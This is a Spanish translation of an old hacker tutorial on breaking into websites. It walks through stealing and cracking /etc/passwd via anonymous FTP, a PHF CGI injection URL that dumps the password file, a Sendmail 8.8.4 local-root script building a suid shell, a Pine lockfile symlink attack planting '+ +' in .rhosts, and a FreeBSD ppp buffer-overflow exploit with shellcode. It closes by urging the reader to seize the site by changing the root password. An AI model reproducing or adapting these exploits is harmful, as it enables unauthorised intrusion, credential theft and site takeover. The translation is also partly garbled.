Hacking Páginas Web

La guía definitiva

By Virtual Circuit and Psychotic

 

Consiguiendo el archivo de password a traves de FTP

Ok uno de los caminos más fáciles, para coger acceso root (super usuario) es a trabes de acceso ftp anónimo en una página web. Primero necesitas aprender un poco acerca del archivo de password...

root:User:d7Bdg:1n2HG2:1127:20:Superuser

TomJones:p5Y(h0tiC:1229:20:Tom Jones,:/usr/people/tomjones:/bin/csh

BBob:EUyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/bbob:/bin/csh

Este es un ejemplo de un fichero de password encriptado. El Superuser es la parte que te da acceso root. Esta es la parte principal del archivo.

root:x:0:1:Superuser:/:

ftp:x:202:102:Anonymous ftp:/u1/ftp:

ftpadmin:x:203:102:ftp Administrator:/u1/ftp

Este es otro ejemplo de fichero de password, solo que este, tiene una pequeña diferencia, es shadowed. Los archivos de password Shadowed no te dejan ver o copiar el password encriptado actual. Esto causa problemas para el password cracker y el creador de diccionarios (los dos explicados después en el texto). Abajo, otro ejemplo de un archivo de password shadowed:

root:x:0:1:0000-Admin(0000):/:/usr/bin/csh

daemon:x:1:1:0000-Admin(0000):/:

bin:x:2:2:0000-Admin(0000):/usr/bin:

sys:x:3:3:0000-Admin(0000):/:

adm:x:4:4:0000-Admin(0000):/var/adm:

lp:x:71:8:0000-lp(0000):/usr/spool/lp:

smtp:x:0:0:mail daemon user:/:

uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:

nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico

listen:x:37:4:Network Admin:/usr/net/nls:

nobody:x:60001:60001:uid no body:/:

noaccess:x:60002:60002:uid no access:/:

webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh

pin4geo:x:55:55:PinPaper Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/false

ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false

Los archivos de password Shadowed tienen una "X" o un "*" en el lugar del password.

Ahora que ya sabes un poco más acerca de cómo son los archivos de password actuales tu deberías ser capaz de identificar un archivo pw encriptado normal de un archivo pw shadowned. Ahora, vamos a hablar acerca de cómo crackearlo.

Cracking un archivo de password no es tan complicado como se podria pensar, aunque los archivos varian de un tipo a otro.

1.El primer paso, es copiar o bajarte el archivo.

2. El segundo paso, es encontra un password cracker y un dictionary maker. Aunque es dificil encontrar un buen cracker hay algunos sitios que los tienen. Yo te recomendaria que busques: Cracker Jack, John the Ripper, Brute Force Cracker, o Jack the Ripper. Ahora por un dictionary maker o un dictionary file... Cuando inicies un programa de cracking, se te preguntará para encontrar el archivo de password. Aquí es donde el diccionario va a entrar. Te puedes bajar diccionarios desde las páginas de hacker de la red. Un dictionary maker encuentra todas las combinaciones posibles de letras del alfabeto que tu elijas (ASCII, caps, lowercase, and numeric letters may also be added) . Nosotros vamos a quitar nuestro archivo de pasword (se refiere a un diccionario?) del publico, pronto, sera llamado Psychotic Candy, "The Perfect Drug." Por lo que nosotros sabemos, debe ser uno de los más largos en circulación.

3. Y entonces, solo tienes que seguir las instrucciones que te de el programa.

 

La Técnica del PHF

Bien, no estoy deguro de si deberia incluir esta sección, esperaba al hecho de que todo el mundo ya conoce esto, y los servidores ( la mayoria ) ya lo conocen y lo han solucionado, pero pero desde que he sido preguntado por este metodo he decidido incluirlo.

La tecnica del phf es de lejos el camino más fácil para coger un archivo de password (sin embargo no funcionara el 95% de las veces). Pero para hacer phf, todo lo que tienes que hacer es abrir un browser y escribir el siguiente vinculo:

http://webpage_goes_here/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

Tienes que remplazar el webpage_goes_here con el domain. Por ejemplo, para conseguir el Password de www.webpage.com tienes que escribir:

http://www.webpage.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

y esto, es todo, solo tienes que copiar el archivo, (si esto ha funcionado).

 

Telnet y Exploits

Bien, los Exploits son el mejor camino para hackear páginas web, pero son más complicados que hackear atraves de FTP o usando PHF. Antes de puedas hacer setup a un exploit deves tener un Telnet proggie, aquí, hay algunos clientes diferentes puedes hacer una busqueda y encontrar todo lo que necesites, es mejor que hagas un informe de tu objetivo (si es posible) y ver los pequeños fallos de dentro a fuera, los Exploits exponen errores o bugs en sistemas, y habitualmente te permitiran ganar acceso Root ( superusuario ). Aquí hay varios exploits, y los puedes ver por separado. He ido a listar unos que lo permitian, pero la lista de exploits es interminable.

Este exploit es conocido como Sendmail v.8.8.4

Este crea una suid program /tmp/x that calls shell as root. Esto, es como puedes organizarlo?¿?:

cat << _EOF_ >/tmp/x.c

#define RUN "/bin/ksh"

#include<stdio.h>

main()

{

execl(RUN,RUN,NULL);

}

_EOF_

#

cat << _EOF_ >/tmp/spawnfish.c

main()

{

execl("/usr/lib/sendmail","/tmp/smtpd",0);

}

_EOF_

#

cat << _EOF_ >/tmp/smtpd.c

main()

{

setuid(0); setgid(0);

system("chown root /tmp/x ;chmod 4755 /tmp/x");

}

_EOF_

#

#

gcc -O -o /tmp/x /tmp/x.c

gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c

gcc -O3 -o /tmp/smtpd /tmp/smtpd.c

#

/tmp/spawnfish

kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// |cut -d" " -f1`

rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c

sleep 5

if [ -u /tmp/x ] ; then

echo "leet..."

/tmp/x

fi

 

y ahora a otro exploit. El pine exploit a trabes de linux. Viendo los procesos mesa con PS para ver que usuarios estan usando PINE, algo de lo que puedes hacer ls ( dir de Linux ) en /tmp/ para coger el lockfile ( archivo cerrado ) nombres para cada usuario. Mirando el proceso mesa una vez más, puede revelar cuando cada usuario salio de PINE o activo fuera de los mensajes no leidos en su INBOX, efectivamente, borrando el respectivo lockfile.

Creando un vinculo simbolico desde /tmp/.hamors_lockfile a ~hamors/.rhosts(por ejemplo) Puedes causar que PINES cree ~hamors/.rhosts como un archivo 666 con PINE's procesando ID como sus contenidos. Un poder, simplemente haz un echo "+ +" > /tmp/.hamors_lockfile, entonces rm /tmp/.hamors_lockfile.

Esto fue escrito por Sean B. Hamor… Para este ejemplo, hamors es la victima y catluvr es el atacante:

hamors (21 19:04) litterbox:~> pine

catluvr (6 19:06) litterbox:~> ps -aux | grep pine

catluvr 1739 0.0 1.8 100 356 pp3 S 19:07 0:00 grep pine

hamors 1732 0.8 5.7 249 1104 pp2 S 19:05 0:00 pine

catluvr (7 19:07) litterbox:~> ls -al /tmp/ | grep hamors

- -rw-rw-rw- 1 hamors elite 4 Aug 26 19:05 .302.f5a4

catluvr (8 19:07) litterbox:~> ps -aux | grep pine

catluvr 1744 0.0 1.8 100 356 pp3 S 19:08 0:00 grep pine

catluvr (9 19:09) litterbox:~> ln -s /home/hamors/.rhosts /tmp/.302.f5a4

hamors (23 19:09) litterbox:~> pine

catluvr (11 19:10) litterbox:~> ps -aux | grep pine

catluvr 1759 0.0 1.8 100 356 pp3 S 19:11 0:00 grep pine

hamors 1756 2.7 5.1 226 992 pp2 S 19:10 0:00 pine

catluvr (12 19:11) litterbox:~> echo "+ +" > /tmp/.302.f5a4

catluvr (13 19:12) litterbox:~> cat /tmp/.302.f5a4

+ +

catluvr (14 19:12) litterbox:~> rm /tmp/.302.f5a4

catluvr (15 19:14) litterbox:~> rlogin litterbox.org -l hamors

ahora a por otro más, este sera el ultimo, que voy a ver, Exploitation script for the ppp vulnerbility es descrito por No One a fecha, este no es FreeBSD-SA-96:15. Trabajos en FreeBSD como testeado. Desorden con los numeros, si esto no funciona, asi es como debes organizarlo:

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#define BUFFER_SIZE 156 /* size of the bufer to overflow */

#define OFFSET -290 /* number of bytes to jump after the start

of the buffer */

long get_esp(void) { __asm__("movl %esp,%eax\n"); }

main(int argc, char *argv[])

{

char *buf = NULL;

unsigned long *addr_ptr = NULL;

char *ptr = NULL;

char execshell[] =

"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" /* 16 bytes */

"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" /* 16 bytes */

"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01" /* 20 bytes */

"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; /* 15 bytes, 57 total */

int i,j;

buf = malloc(4096);

/* fill start of bufer with nops */

i = BUFFER_SIZE-strlen(execshell);

memset(buf, 0x90, i);

ptr = buf + i;

/* place exploit code into the buffer */

for(i = 0; i < strlen(execshell); i++)

*ptr++ = execshell[i];

addr_ptr = (long *)ptr;

for(i=0;i < (104/4); i++)

*addr_ptr++ = get_esp() + OFFSET;

ptr = (char *)addr_ptr;

*ptr = 0;

setenv("HOME", buf, 1);

execl("/usr/sbin/ppp", "ppp", NULL);

}

Ahora tu deves ser root "¿qué es lo siguiente?" Bien la decisión es tuya, pero te recomiendo cambiar el password lo primero antes de ponere a cambiar o borrar cosas. Para cambiar su password, todo lo que tienes que hacer es un login via telnet y login con tu nueva cuenta. Entonces escribe: passwd y te preguntaran el password antiguo, y despues el nuevo, ahora solo tu tienes el nuevo password y puedes hacer lo que quieras con la página. Te recomiendo que consigas la Unix bible.

~~PSYCHOTIC~~

Traducido por Willy.